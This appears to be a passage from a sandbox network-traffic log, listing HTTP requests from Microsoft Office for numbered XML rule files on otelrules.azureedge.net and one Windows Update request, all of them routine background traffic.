Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HW4WLODTnh1l55l&MD=hwC3OdL7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
